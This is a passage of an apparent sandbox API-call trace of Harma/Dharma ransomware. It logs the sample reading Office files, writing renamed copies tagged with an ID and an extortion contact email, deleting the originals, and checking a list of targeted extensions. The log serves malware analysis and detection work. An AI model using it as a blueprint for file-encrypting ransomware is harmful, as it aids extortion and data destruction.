lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x10980, lpOverlapped=0x0) returned 1 [0159.985] WriteFile (in: hFile=0x350, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x10990, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x10990, lpOverlapped=0x0) returned 1 [0159.987] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.987] WriteFile (in: hFile=0x350, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0159.987] SetEndOfFile (hFile=0x350) returned 1 [0159.987] CloseHandle (hObject=0x350) returned 1 [0159.987] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.987] SetEndOfFile (hFile=0x378) returned 1 [0159.990] CloseHandle (hObject=0x378) returned 1 [0159.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 1 [0159.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.991] lstrlenW (lpString=".doc") returned 4 [0159.991] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0159.991] lstrlenW (lpString=".docx") returned 5 [0159.991] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0159.992] lstrlenW (lpString=".pdf") returned 4 [0159.992] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0159.992] lstrlenW (lpString=".xls") returned 4 [0159.992] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0159.992] lstrlenW (lpString=".xlsx") returned 5 [0159.992] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0159.992] lstrlenW (lpString=".ppt") returned 4 [0159.992] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0159.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.992] lstrlenW (lpString=".zip") returned 4 [0159.992] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0159.992] lstrlenW (lpString=".rar") returned 4 [0159.992] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0159.992] lstrlenW (lpString=".bz2") returned 4 [0159.992] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0159.992] lstrlenW (lpString=".7z") returned 3 [0159.992] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.992] lstrlenW (lpString=".dbf") returned 4 [0159.992] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0159.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.992] lstrlenW (lpString=".1cd") returned 4 [0159.992] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0159.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.993] lstrlenW (lpString=".jpg") returned 4 [0159.993] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0159.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.993] lstrlenW (lpString=".doc") returned 4 [0159.993] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0159.993] lstrlenW (lpString=".docx") returned 5 [0159.993] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0159.993] lstrlenW (lpString=".pdf") returned 4 [0159.993] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0159.993] lstrlenW (lpString=".xls") returned 4 [0159.993] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0159.993] lstrlenW (lpString=".xlsx") returned 5 [0159.993] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0159.993] lstrlenW (lpString=".ppt") returned 4 [0159.993] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0159.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.993] lstrlenW (lpString=".zip") returned 4 [0159.993] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0159.993] lstrlenW (lpString=".rar") returned 4 [0159.993] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0159.993] lstrlenW (lpString=".bz2") returned 4 [0159.993] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0159.993] lstrlenW (lpString=".7z") returned 3 [0159.993] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.994] lstrlenW (lpString=".dbf") returned 4 [0159.994] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0159.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.994] lstrlenW (lpString=".1cd") returned 4 [0159.994] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0159.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0159.994] lstrlenW (lpString=".jpg") returned 4 [0159.994] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0159.994] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0159.994] lstrlenW (lpString="PUB6INTL.REST.IDX_DLL") returned 21 [0159.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.995] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=269184) returned 1 [0159.995] CloseHandle (hObject=0x378) returned 1 [0159.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 0x20 [0159.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.995] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.995] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.996] GetLastError () returned 0x0 [0159.996] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x41b80, lpOverlapped=0x0) returned 1 [0160.003] WriteFile (in: hFile=0x350, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x41b90, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x41b90, lpOverlapped=0x0) returned 1 [0160.009] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.009] WriteFile (in: hFile=0x350, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0160.009] SetEndOfFile (hFile=0x350) returned 1 [0160.009] CloseHandle (hObject=0x350) returned 1 [0160.009] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.009] SetEndOfFile (hFile=0x378) returned 1 [0160.412] CloseHandle (hObject=0x378) returned 1 [0160.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 1 [0160.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.426] lstrlenW (lpString=".doc") returned 4 [0160.426] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0160.426] lstrlenW (lpString=".docx") returned 5 [0160.426] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0160.426] lstrlenW (lpString=".pdf") returned 4 [0160.426] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0160.426] lstrlenW (lpString=".xls") returned 4 [0160.426] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0160.426] lstrlenW (lpString=".xlsx") returned 5 [0160.426] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0160.426] lstrlenW (lpString=".ppt") returned 4 [0160.426] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0160.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.426] lstrlenW (lpString=".zip") returned 4 [0160.426] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0160.426] lstrlenW (lpString=".rar") returned 4 [0160.426] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0160.426] lstrlenW (lpString=".bz2") returned 4 [0160.426] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0160.426] lstrlenW (lpString=".7z") returned 3 [0160.426] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.426] lstrlenW (lpString=".dbf") returned 4 [0160.426] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0160.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.426] lstrlenW (lpString=".1cd") returned 4 [0160.426] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.427] lstrlenW (lpString=".jpg") returned 4 [0160.427] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.427] lstrlenW (lpString=".doc") returned 4 [0160.427] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString=".docx") returned 5 [0160.427] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0160.427] lstrlenW (lpString=".pdf") returned 4 [0160.427] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString=".xls") returned 4 [0160.427] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString=".xlsx") returned 5 [0160.427] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0160.427] lstrlenW (lpString=".ppt") returned 4 [0160.427] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.427] lstrlenW (lpString=".zip") returned 4 [0160.427] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString=".rar") returned 4 [0160.427] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString=".bz2") returned 4 [0160.427] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString=".7z") returned 3 [0160.427] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.427] lstrlenW (lpString=".dbf") returned 4 [0160.427] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0160.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.428] lstrlenW (lpString=".1cd") returned 4 [0160.428] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0160.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0160.428] lstrlenW (lpString=".jpg") returned 4 [0160.428] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0160.428] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0160.428] lstrlenW (lpString="SETLANG.HXS") returned 11 [0160.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.434] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=397828) returned 1 [0160.434] CloseHandle (hObject=0x378) returned 1 [0160.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 0x20 [0160.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.441] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.441] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0160.442] GetLastError () returned 0x0 [0160.442] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x61204, lpOverlapped=0x0) returned 1 [0160.453] WriteFile (in: hFile=0x348, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x61210, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x61210, lpOverlapped=0x0) returned 1 [0160.461] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.461] WriteFile (in: hFile=0x348, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.461] SetEndOfFile (hFile=0x348) returned 1 [0160.461] CloseHandle (hObject=0x348) returned 1 [0160.461] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.461] SetEndOfFile (hFile=0x378) returned 1 [0160.471] CloseHandle (hObject=0x378) returned 1 [0160.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 1 [0160.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.472] lstrlenW (lpString=".doc") returned 4 [0160.472] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0160.472] lstrlenW (lpString=".docx") returned 5 [0160.472] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0160.472] lstrlenW (lpString=".pdf") returned 4 [0160.472] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0160.472] lstrlenW (lpString=".xls") returned 4 [0160.472] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0160.472] lstrlenW (lpString=".xlsx") returned 5 [0160.473] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0160.473] lstrlenW (lpString=".ppt") returned 4 [0160.473] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0160.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.473] lstrlenW (lpString=".zip") returned 4 [0160.473] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0160.473] lstrlenW (lpString=".rar") returned 4 [0160.473] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0160.473] lstrlenW (lpString=".bz2") returned 4 [0160.473] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0160.473] lstrlenW (lpString=".7z") returned 3 [0160.473] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0160.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.473] lstrlenW (lpString=".dbf") returned 4 [0160.473] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0160.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.473] lstrlenW (lpString=".1cd") returned 4 [0160.473] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0160.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.473] lstrlenW (lpString=".jpg") returned 4 [0160.473] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0160.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.473] lstrlenW (lpString=".doc") returned 4 [0160.473] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0160.473] lstrlenW (lpString=".docx") returned 5 [0160.473] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0160.473] lstrlenW (lpString=".pdf") returned 4 [0160.473] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0160.474] lstrlenW (lpString=".xls") returned 4 [0160.474] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0160.474] lstrlenW (lpString=".xlsx") returned 5 [0160.474] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0160.474] lstrlenW (lpString=".ppt") returned 4 [0160.474] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0160.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.474] lstrlenW (lpString=".zip") returned 4 [0160.474] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0160.474] lstrlenW (lpString=".rar") returned 4 [0160.474] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0160.474] lstrlenW (lpString=".bz2") returned 4 [0160.474] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0160.474] lstrlenW (lpString=".7z") returned 3 [0160.474] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0160.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.474] lstrlenW (lpString=".dbf") returned 4 [0160.474] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0160.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.474] lstrlenW (lpString=".1cd") returned 4 [0160.474] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0160.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0160.474] lstrlenW (lpString=".jpg") returned 4 [0160.474] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0160.474] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0160.475] lstrlenW (lpString="SETLANG_COL.HXC") returned 15 [0160.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.475] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=631) returned 1 [0160.475] CloseHandle (hObject=0x378) returned 1 [0160.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 0x20 [0160.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.476] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.476] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0160.758] GetLastError () returned 0x0 [0160.759] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x277, lpOverlapped=0x0) returned 1 [0160.767] WriteFile (in: hFile=0x368, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x280, lpOverlapped=0x0) returned 1 [0160.768] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.768] WriteFile (in: hFile=0x368, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0160.768] SetEndOfFile (hFile=0x368) returned 1 [0160.768] CloseHandle 